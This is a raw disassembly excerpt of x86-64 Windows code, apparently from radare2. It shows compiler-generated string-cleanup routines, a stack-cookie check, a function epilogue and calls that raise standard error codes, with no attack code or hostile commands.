cmp rdx, 0x10
jb 0x140005e96
inc rdx
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061ad
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x140005eda
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ed4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061b3
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x170]
cmp rdx, 8
jb 0x140005f22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061b9
call fcn.14001d650
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x170], 7
mov word [rsp + 0x158], si
mov rdx, qword [rsp + 0x268]
cmp rdx, 8
jb 0x140005f87
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061bf
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x228]
cmp rdx, 0x10
jb 0x140005fca
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061c5
call fcn.14001d650
movdqa xmm0, xmmword [0x1400c9780]
movdqu xmmword [rsp + 0x220], xmm0
mov byte [rsp + 0x210], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 8
jb 0x140006023
lea rdx, [rdx*2 + 2]
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x14000601e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400061cb
mov rcx, r8
call fcn.14001d650
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 7
mov word [r13], si
jmp 0x140006089
mov rcx, qword [rsp + 0x4c0]
xor rcx, rsp
call fcn.14001d630
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.1400016b0
nop
call fcn.1400016b0
nop
call fcn.1400016b0
call fcn.140001610
nop
call fcn.1400016b0
call fcn.140001610
call fcn.140001610
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.1400016b0
call fcn.140001610
nop
mov ecx, 0x80004005
call fcn.140002870
nop
mov ecx, 0x80070057
call fcn.140002870
call fcn.14007c594
mov dword [rax], socket
call fcn.14007c410
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
call fcn.14007c594
mov dword [rax], socket
call fcn.14007c410
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
call fcn.1400016b0
nop
call fcn.1400016b0
nop
call fcn.14007c430
nop
call fcn.140001610
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.1400016b0
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3